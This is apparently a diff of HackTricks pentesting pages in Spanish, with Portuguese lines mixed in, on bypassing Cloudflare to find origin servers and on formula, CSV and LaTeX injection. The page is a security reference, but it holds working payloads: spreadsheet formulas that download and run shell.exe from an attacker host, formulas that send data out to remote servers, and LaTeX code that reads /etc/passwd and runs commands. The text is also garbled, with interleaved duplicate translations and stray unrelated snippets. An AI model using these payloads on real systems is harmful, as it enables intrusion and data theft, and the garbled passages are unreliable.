* Comprueba también los **registros DNS de otros subdominios que apunten directamente a IPs**, ya que es posible que otros subdominios estén apuntando al mismo servidor (quizás para ofrecer FTP, correo electrónico u otro servicio).
* Si encuentras un **SSRF dentro de la aplicación web**, puedes abusar de él para obtener la dirección IP del servidor.
*
Busca una cadena única de la página web en navegadores como Shodan (y tal vez Google y similares). Tal vez puedas encontrar una dirección IP con ese contenido.
Busca una cadena única de la página web en buscadores como Shodan (y tal vez Google y similares). Tal vez puedas encontrar una dirección IP con ese contenido.
* De manera similar, en lugar de buscar una cadena única, puedes buscar el icono de favicon con la herramienta: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) o con [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
* Esto no funcionará con mucha frecuencia porque el servidor debe enviar la misma respuesta cuando se accede por la dirección IP, pero nunca se sabe.
* De manera similar, en lugar de buscar una cadena única, puedes buscar el icono del favicon con la herramienta: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) o con [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
* Esto no funcionará con mucha frecuencia porque el servidor debe enviar la misma respuesta cuando se accede mediante la dirección IP, pero nunca se sabe.
### Herramientas
* Busca el dominio dentro de [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) o [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). O utiliza la herramienta [CloudPeler](https://github.com/zidansec/CloudPeler) (que utiliza esa API)
* Busca el dominio en [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) o [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). O utiliza la herramienta [CloudPeler](https://github.com/zidansec/CloudPeler) (que utiliza esa API)
* Busca el dominio en [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
* [**CloudFlair**](https://github.com/christophetd/CloudFlair) es una herramienta que buscará utilizando los certificados de Censys que contienen el nombre de dominio, luego buscará IPv4 dentro de esos certificados y finalmente intentará acceder a la página web en esos IPs.
* [**CloudFlair**](https://github.com/christophetd/CloudFlair) es una herramienta que buscará certificados de Censys que contengan el nombre de dominio, luego buscará direcciones IPv4 dentro de esos certificados y finalmente intentará acceder a la página web en esas IPs.
* [Censys](https://search.censys.io/)
* [Shodan](https://shodan.io/)
* [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)
* Si tienes un conjunto de IPs potenciales donde se encuentra la página web, puedes usar [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)
* Si tienes un conjunto de posibles IPs donde se encuentra la página web, puedes utilizar [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder)
```bash
# You can check if the tool is working with
prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one
@ -44,14 +44,14 @@ prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one
## web page inside the EC2 IPs
DOMAIN=something.com
WIDE_REGION=us
for ir in `curl https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | select(.region|test("^us")) | .ip_prefix'`; do
echo "Checking $ir"
prips $ir | hakoriginfinder -h "$DOMAIN"
for ir in `curl https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | select(.region|test("^us")) | .ip_prefix'`; do
echo "Checking $ir"
prips $ir | hakoriginfinder -h "$DOMAIN"
done
```
### Descubriendo Cloudflare desde máquinas de AWS
Para obtener una mejor descripción de este proceso, consulte:
Para obtener una mejor descripción de este proceso, consulta:
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
```bash
@ -67,54 +67,74 @@ cat webs.json | jq -r "select((.failed==false) and (.chain_status_codes | length
# Search via Host header
httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.com -threads 250 -random-agent -follow-redirects -o web_checks.json
```
## Bypass de Cloudflare para hacer scraping
## Bypassando Cloudflare através do Cloudflare
### Caché
### Autenticação de Origem Autenticada
A veces solo quieres hacer scraping de una página web y saltarte Cloudflare. Hay algunas opciones para esto:
Esse mecanismo depende de **certificados SSL do cliente** para autenticar as conexões entre os servidores de proxy reverso do Cloudflare e o servidor de origem, o que é chamado de **mTLS**.
* Usa la caché de Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
* Usa otros servicios de caché como [https://archive.org/web/](https://archive.org/web/)
Em vez de configurar seu próprio certificado, o cliente pode simplesmente usar o certificado do Cloudflare para permitir qualquer conexão do Cloudflare, **independentemente do locatário**.
### Solucionadores de Cloudflare
{% hint style="danger" %}
Portanto, um atacante pode simplesmente definir um **domínio no Cloudflare usando o certificado do Cloudflare e apontá-lo** para o endereço IP do domínio da **vítima**. Dessa forma, definindo seu domínio completamente desprotegido, o Cloudflare não protegerá as solicitações enviadas.
{% endhint %}
Se han desarrollado varios solucionadores de Cloudflare:
Mais informações [**aqui**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
### Permitir apenas endereços IP do Cloudflare
Isso irá **rejeitar conexões que não se originam dos** intervalos de endereços IP do **Cloudflare**. Isso também é vulnerável à configuração anterior, onde um atacante simplesmente **aponta seu próprio domínio no Cloudflare** para o endereço IP da **vítima** e a ataca.
Mais informações [**aqui**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
## Bypass do Cloudflare para scraping
### Cache
Às vezes, você só quer ignorar o Cloudflare para fazer o scraping da página da web. Existem algumas opções para isso:
* Usar o cache do Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
* Usar outros serviços de cache, como [https://archive.org/web/](https://archive.org/web/)
### Solucionadores do Cloudflare
Foram desenvolvidos vários solucionadores do Cloudflare:
* [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr)
* [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [Guía aquí](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/)
* [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [Guia aqui](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/)
* [cloudflare-scrape](https://github.com/Anorov/cloudflare-scrape)
* [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
* [Cloudflare-IUAM-Solver](https://github.com/ninja-beans/cloudflare-iuam-solver)
* [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Archivado\]
* [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[Arquivado]
* [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
### Navegadores sin cabeza fortificados <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
### Navegadores Headless Fortificados <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
La otra opción es hacer todo el trabajo de scraping con un navegador sin cabeza que ha sido fortificado para parecerse al navegador de un usuario real:
A outra opção é fazer todo o trabalho de scraping com um navegador headless que foi fortificado para se parecer com um navegador de usuário real:
* **Puppeteer:** El [plugin stealth](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) para [puppeteer](https://github.com/puppeteer/puppeteer).
* **Playwright:** El [plugin stealth](https://www.npmjs.com/package/playwright-stealth) llegará pronto a Playwright. Sigue los desarrollos [aquí](https://github.com/berstend/puppeteer-extra/issues/454) y [aquí](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
* **Selenium:** El [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) es un parche optimizado de Selenium Chromedriver.
* **Puppeteer:** O [plugin stealth](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) para [puppeteer](https://github.com/puppeteer/puppeteer).
* **Playwright:** O [plugin stealth](https://www.npmjs.com/package/playwright-stealth) está chegando em breve para o Playwright. Acompanhe os desenvolvimentos [aqui](https://github.com/berstend/puppeteer-extra/issues/454) e [aqui](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
* **Selenium:** O [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver), um patch otimizado do Selenium Chromedriver.
### Proxy inteligente con bypass integrado de Cloudflare <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
### Proxy Inteligente com Bypass Integrado do Cloudflare <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
La alternativa a usar bypasses de Cloudflare de código abierto es usar proxies inteligentes que desarrollen y mantengan sus propios bypasses privados de Cloudflare.
A alternativa ao uso de bypasses do Cloudflare de código aberto é usar proxies inteligentes que desenvolvem e mantêm seus próprios bypasses privados do Cloudflare.
Estos suelen ser más confiables ya que es más difícil para Cloudflare desarrollar parches para ellos, y son desarrollados por compañías de proxy que están financieramente motivadas para estar un paso por delante de Cloudflare y arreglar sus bypasses en el momento en que dejen de funcionar.
Esses proxies geralmente são mais confiáveis, pois é mais difícil para o Cloudflare desenvolver correções para eles, e são desenvolvidos por empresas de proxy que têm motivação financeira para ficar um passo à frente do Cloudflare e corrigir seus bypasses assim que pararem de funcionar.
La mayoría de los proveedores de proxy inteligentes ([ScraperAPI](https://www.scraperapi.com/?fp\_ref=scrapeops), [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops), [Oxylabs](https://oxylabs.go2cloud.org/aff\_c?offer\_id=7\&aff\_id=379\&url\_id=32), [Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p\_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb)) tienen algún tipo de bypass de Cloudflare que funciona en diferentes grados y varía en costo.
A maioria dos provedores de proxy inteligentes ([ScraperAPI](https://www.scraperapi.com/?fp\_ref=scrapeops), [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops), [Oxylabs](https://oxylabs.go2cloud.org/aff\_c?offer\_id=7\&aff\_id=379\&url\_id=32), [Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p\_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb)) possuem algum tipo de bypass do Cloudflare que funcionam em diferentes graus e variam em custo.
Sin embargo, una de las mejores opciones es usar el [Agregador de Proxy de ScrapeOps](https://scrapeops.io/proxy-aggregator/) ya que integra más de 20 proveedores de proxy en la misma API de proxy y encuentra el proveedor de proxy mejor y más barato para tus dominios objetivo.
No entanto, uma das melhores opções é usar o [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/), pois ele integra mais de 20 provedores de proxy na mesma API de proxy e encontra o provedor de proxy melhor/mais barato para seus domínios de destino.
### Ingeniería inversa de la protección anti-bot de Cloudflare <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
### Engenharia Reversa da Proteção Anti-Bot do Cloudflare <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
Este enfoque funciona (y es lo que hacen muchas soluciones de proxy inteligentes), sin embargo, no es para los débiles de corazón.
Essa abordagem funciona (e é o que muitas soluções de proxy inteligentes fazem), no entanto, não é para os fracos de coração.
**Ventajas:** La ventaja de este enfoque es que si estás haciendo scraping a gran escala y no quieres ejecutar cientos (si no miles) de costosas instancias completas de navegadores sin cabeza, puedes desarrollar el bypass de Cloudflare más eficiente en recursos posible. Uno que esté diseñado únicamente para pasar las pruebas de huellas digitales de JS, TLS e IP de Cloudflare.
**Vantagens:** A vantagem dessa abordagem é que, se você estiver fazendo scraping em grande escala e não quiser executar centenas (se não milhares) de instâncias caras de navegadores completos sem cabeça, você pode desenvolver o bypass do Cloudflare mais eficiente em termos de recursos possível. Um que seja projetado exclusivamente para passar nos testes de impressão digital do Cloudflare JS, TLS e IP.
**Desventajas:** Las desventajas de este enfoque es que tendrás que sumergirte profundamente en un sistema anti-bot que ha sido hecho a propósito difícil de entender desde el exterior, y probar diferentes técnicas para engañar su sistema de verificación. Luego, mantener este sistema a medida que Cloudflare continúa desarrollando su protección anti-bot.
**Desvantagens:** As desvantagens dessa abordagem são que você terá que mergulhar fundo em um sistema anti-bot que foi propositalmente difícil de entender do lado de fora e testar diferentes técnicas para enganar seu sistema de verificação. Em seguida, você terá que manter esse sistema à medida que o Cloudflare continua a desenvolver sua proteção anti-bot.
## Referencias
## Referências
* [https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/)
@ -122,10 +142,10 @@ Este enfoque funciona (y es lo que hacen muchas soluciones de proxy inteligentes
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -0,0 +1,263 @@
# Inyección de Fórmulas/CSV/Doc/LaTeX/GhostScript
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Inyección de Fórmulas
### Información
Si tu **entrada** se está **reflejando** dentro de **archivos CSV** (o cualquier otro archivo que probablemente se abrirá con **Excel**), es posible que puedas poner **fórmulas de Excel** que se **ejecutarán** cuando el usuario **abra el archivo** o cuando el usuario **haga clic en algún enlace** dentro de la hoja de cálculo de Excel.
{% hint style="danger" %}
Hoy en día, **Excel alertará** (varias veces) al **usuario cuando algo se cargue desde fuera de Excel** para evitar que realice acciones maliciosas. Por lo tanto, se debe aplicar un esfuerzo especial en la Ingeniería Social para la carga final.
{% endhint %}
### [Lista de palabras](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hipervínculo
**El siguiente ejemplo es muy útil para exfiltrar contenido de la hoja de cálculo final y realizar solicitudes a ubicaciones arbitrarias. Pero requiere que el usuario haga clic en el enlace (y acepte las advertencias).**
Ejemplo tomado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Supongamos un escenario de ataque al sistema de gestión de registros de estudiantes de una escuela. La aplicación permite al profesor ingresar los detalles de los estudiantes en la escuela. El atacante obtiene acceso a la aplicación y desea comprometer a todos los profesores que la utilizan. Por lo tanto, el atacante intenta realizar un ataque de inyección de CSV a través de la aplicación web.\
El atacante necesita robar los detalles de otros estudiantes. Por lo tanto, el atacante utiliza la fórmula de hipervínculo y la ingresa al ingresar los detalles del estudiante.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
Cuando el profesor exporta el CSV y hace clic en el hipervínculo, los datos sensibles se envían al servidor del atacante.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png)
El archivo CSV exportado contiene una carga útil maliciosa.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png)
Los detalles del estudiante están registrados en el servidor web del atacante.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png)
### RCE
Para que este ejemplo funcione, **es necesario tener habilitada la siguiente configuración**:\
Archivo → Opciones → Centro de confianza → Configuración del Centro de confianza → Contenido externo → Habilitar el lanzamiento del servidor de intercambio de datos dinámicos\
o el uso de una **versión antigua de Excel**.
La buena noticia es que **esta carga útil se ejecuta automáticamente cuando se abre el archivo** (si el usuario acepta las advertencias).
Es posible ejecutar una calculadora con la siguiente carga útil **`=cmd|' /C calc'!xxx`**
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### LFI
**LibreOffice Calc**
* Esto leerá la primera línea del archivo local /etc/passwd: `='file:///etc/passwd'#$passwd.A1`
* Exfiltrarlo: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Exfiltrar más de una línea: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Exfiltración DNS: `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
**Analizando la carga útil de exfiltración DNS:**
* file:///etc/passwd#$passwd.A19 - Leerá la 19ª línea del archivo local /etc/passwd
* ENCODEURL('file:///etc/passwd'#$passwd.A19) - Codifica en URL los datos devueltos
* MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41) - Similar a substring, lee datos desde el primer carácter hasta el 41º, una forma muy útil de restringir la longitud de los nombres de host DNS (límite de 254 caracteres para FQDN y 63 caracteres para una etiqueta, es decir, subdominio)
* SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-") - reemplaza todas las instancias de % (el carácter especial de la codificación URL) con guiones, esto asegura que solo se utilicen caracteres DNS válidos
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".\<FQDN>") - Concatena la salida del archivo (después de que se haya realizado el procesamiento anterior) con el FQDN (para el cual tenemos acceso al host que es autoritario para el dominio)
* WEBSERVICE - Realizará una solicitud para este nombre DNS inexistente que luego podemos analizar los registros (o ejecutar tcpdump, etc.) en el servidor de nombres autoritario DNS del cual tenemos control
### Google Sheets OOB Exfiltración de datos
En primer lugar, presentemos algunas de las funciones más interesantes.
**CONCATENATE**: Une cadenas entre sí.
```
=CONCATENATE(A2:E2)
```
**IMPORTXML**: Importa datos de varios tipos de datos estructurados, incluyendo XML, HTML, CSV, TSV y feeds XML RSS y ATOM.
```
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
```
**IMPORTFEED**: Importa un feed RSS o ATOM.
```
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
```
**IMPORTHTML**: Importa datos de una tabla o lista dentro de una página HTML.
```
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
```
**IMPORTRANGE**: Importa un rango de celdas de una hoja de cálculo especificada.
```
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
```
**IMAGEN**: Inserta una imagen en una celda.
```
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
```
## Inyección de LaTeX
Por lo general, los servidores que encontramos en Internet que **convierten código LaTeX a PDF** utilizan **`pdflatex`**.\
Este programa utiliza 3 atributos principales para (des)habilitar la ejecución de comandos:
* **`--no-shell-escape`**: **Deshabilita** la construcción `\write18{command}`, incluso si está habilitada en el archivo texmf.cnf.
* **`--shell-restricted`**: Lo mismo que `--shell-escape`, pero **limitado** a un conjunto 'seguro' de **comandos predefinidos** (\*\*En Ubuntu 16.04, la lista se encuentra en `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Habilita** la construcción `\write18{command}`. El comando puede ser cualquier comando de shell. Esta construcción normalmente está deshabilitada por razones de seguridad.
Sin embargo, existen otras formas de ejecutar comandos, por lo que para evitar RCE es muy importante utilizar `--shell-restricted`.
### Leer archivo <a href="#read-file" id="read-file"></a>
Es posible que necesites ajustar la inyección con envoltorios como \[ o $.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### Leer archivo de una sola línea
To read a single-lined file, you can use the following command:
Para leer un archivo de una sola línea, puedes utilizar el siguiente comando:
```bash
cat filename.txt
```
This command will display the contents of the file `filename.txt` on the terminal.
Este comando mostrará el contenido del archivo `filename.txt` en la terminal.
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Leer archivo con múltiples líneas
To read a file with multiple lines, you can use the following code:
```python
with open('filename.txt', 'r') as file:
lines = file.readlines()
for line in lines:
print(line.strip())
```
This code opens the file specified by `'filename.txt'` in read mode (`'r'`). It then reads all the lines in the file using the `readlines()` method and stores them in the `lines` variable. Finally, it iterates over each line in the `lines` variable and prints it after removing any leading or trailing whitespace using the `strip()` method.
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### Escribir archivo <a href="#escribir-archivo" id="escribir-archivo"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Ejecución de comandos <a href="#ejecución-de-comandos" id="ejecución-de-comandos"></a>
La entrada del comando se redirigirá a stdin, utiliza un archivo temporal para obtenerla.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Si obtienes algún error de LaTex, considera usar base64 para obtener el resultado sin caracteres incorrectos.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Inyección de Ghostscript
TODO: Crear un resumen con la información y técnicas más relevantes de [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Referencias
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos de amenazas proactivas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
